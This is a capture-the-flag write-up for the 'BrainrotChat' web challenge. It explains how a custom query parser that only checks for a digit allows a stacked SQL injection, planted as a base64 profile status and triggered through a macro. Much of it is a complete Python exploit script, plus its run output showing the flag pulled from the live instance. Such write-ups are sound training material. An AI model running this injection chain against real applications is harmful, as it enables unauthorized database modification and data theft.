Category: Web Exploitation
Flag: CodeVinci{Tr4ll4ll3r0_Tr4ll4ll4_P*rc*d1o*_e_p0rCo_4**4*_changed_flag}
Challenge Description
average brainrot chat
Analysis
The archive immediately looked like a Next.js app with a custom query language, so I started by checking which backend files mattered for data flow into SQL.
unzip -l BrainrotChat.zipArchive: BrainrotChat.zip
Length Date Time Name
--------- ---------- ----- ----
3145 02-04-2026 06:18 BrainrotChat (Copy)/app/api/messages/route.js
1964 02-04-2026 06:18 BrainrotChat (Copy)/app/api/brainrot/route.js
1482 02-04-2026 06:18 BrainrotChat (Copy)/app/api/settings/route.js
13886 02-04-2026 06:49 BrainrotChat (Copy)/lib/brainrotParser.js
--------- -------
93253 52 filesThat narrowed the path quickly: /api/settings writes a user-controlled base64 value to sfx under profile_<userid>, and /api/brainrot reads sfx and base64-decodes it when the tag starts with profile_. I verified the key lines directly.
rg -n "status|profile_|sfx|Buffer\.from\(|base64" "BrainrotChat (Copy)/app/api/settings/route.js" "BrainrotChat (Copy)/app/api/brainrot/route.js"BrainrotChat (Copy)/app/api/brainrot/route.js:19: const [sfxRows] = await pool.query("SELECT tag, payload FROM sfx");
BrainrotChat (Copy)/app/api/brainrot/route.js:24: if (tag.startsWith("profile_")) {
BrainrotChat (Copy)/app/api/brainrot/route.js:26: return Buffer.from(payload, "base64").toString("utf-8");
BrainrotChat (Copy)/app/api/settings/route.js:10: const { displayName, bio, status } = await request.json();
BrainrotChat (Copy)/app/api/settings/route.js:13: const cleanStatus = String(status || "").trim().slice(0, 1024);
BrainrotChat (Copy)/app/api/settings/route.js:25: const macroTag = `profile_${user.id}`;
BrainrotChat (Copy)/app/api/settings/route.js:27: "INSERT INTO sfx(tag, payload) VALUES (?, ?) ON DUPLICATE KEY UPDATE payload = VALUES(payload)",The real bug is in the BrainrotQL parser: cap and skip accept macro-expanded values, then only check whether the string contains any digit via /\d+/.test(value). That means 0;UPDATE ... passes validation and is returned as raw SQL fragment.
python show_parser_slice.py346: _parseLimit(rest) {
347: if (!rest) throw new BrainrotParseError("cap needs a number");
348: const value = this._expandMacros(rest.trim());
349: if (!/\d+/.test(value)) {
350: throw new BrainrotParseError("cap must contain a number.");
351: }
352: return value;
353: }
354:
355: _parseOffset(rest) {
356: if (!rest) throw new BrainrotParseError("skip needs a number");
357: const value = this._expandMacros(rest.trim());
358: if (!/\d+/.test(value)) {
359: throw new BrainrotParseError("skip must contain a number.");
360: }
361: return value;
362: }At that point the chain was clean: register a normal user, store base64 of 0;UPDATE users SET bio=(SELECT flag FROM flags LIMIT 1) WHERE id=<me> into status, trigger parsing with cap sfx(profile_<me>), then read my own bio back through BrainrotQL. It worked on first full run after wiring the script.

The funniest part is the parser check: it looks like validation, but it only requires one digit anywhere in the payload, so 0;... slides through effortlessly.

I used this exploit runner against the live instance and captured the flag from real API output.
python brainrotchat_exploit.pyregister: 200 {'ok': True, 'user': {'id': 503, 'handle': 'pwn_36pakmaf8a', 'display_name': 'pwner'}}
id query: 200 {'ok': True, 'rows': [{'id': 503, 'handle': 'pwn_36pakmaf8a'}]}
uid: 503
settings: 200 {'ok': True, 'user': {'handle': 'pwn_36pakmaf8a', 'display_name': 'pwner', 'bio': '', 'status': 'MDtVUERBVEUgdXNlcnMgU0VUIGJpbz0oU0VMRUNUIGZsYWcgRlJPTSBmbGFncyBMSU1JVCAxKSBXSEVSRSBpZD01MDM='}}
trigger: 200 {'ok': True, 'rows': []}
read bio: 200 {'ok': True, 'rows': [{'bio': 'CodeVinci{Tr4ll4ll3r0_Tr4ll4ll4_P*rc*d1o*_e_p0rCo_4**4*_changed_flag}'}]}
FLAG: CodeVinci{Tr4ll4ll3r0_Tr4ll4ll4_P*rc*d1o*_e_p0rCo_4**4*_changed_flag}Solution
# brainrotchat_exploit.py
import base64
import random
import re
import string
import requests
BASE = "https://brainrotchat.codevinci.it"
def rand_text(n=8):
alpha = string.ascii_lowercase + string.digits
return "".join(random.choice(alpha) for _ in range(n))
def post_json(session, path, data):
r = session.post(f"{BASE}{path}", json=data, timeout=20)
try:
j = r.json()
except Exception:
j = {"raw": r.text}
return r, j
def brainrot(session, query):
r, j = post_json(session, "/api/brainrot", {"query": query})
return r, j
def main():
s = requests.Session()
handle = f"pwn_{rand_text(10)}"
password = "pwnpass123"
r, j = post_json(
s,
"/api/auth/register",
{"handle": handle, "password": password, "displayName": "pwner"},
)
print("register:", r.status_code, j)
if r.status_code != 200 or not j.get("ok"):
return
r, j = brainrot(s, f"summon users | spill id,handle | vibe handle is {handle}")
print("id query:", r.status_code, j)
if not j.get("ok") or not j.get("rows"):
return
uid = int(j["rows"][0]["id"])
print("uid:", uid)
injected = f"0;UPDATE users SET bio=(SELECT flag FROM flags LIMIT 1) WHERE id={uid}"
b64 = base64.b64encode(injected.encode()).decode()
r, j = post_json(
s,
"/api/settings",
{"displayName": "pwner", "bio": "", "status": b64},
)
print("settings:", r.status_code, j)
if r.status_code != 200 or not j.get("ok"):
return
r, j = brainrot(s, f"summon users | spill id | cap sfx(profile_{uid})")
print("trigger:", r.status_code, j)
r, j = brainrot(s, f"summon users | spill bio | vibe id is {uid}")
print("read bio:", r.status_code, j)
text = str(j)
m = re.search(r"CodeVinci\{[^}]+\}", text)
if m:
print("FLAG:", m.group(0))
if __name__ == "__main__":
main()python brainrotchat_exploit.pyFLAG: CodeVinci{Tr4ll4ll3r0_Tr4ll4ll4_P*rc*d1o*_e_p0rCo_4**4*_changed_flag}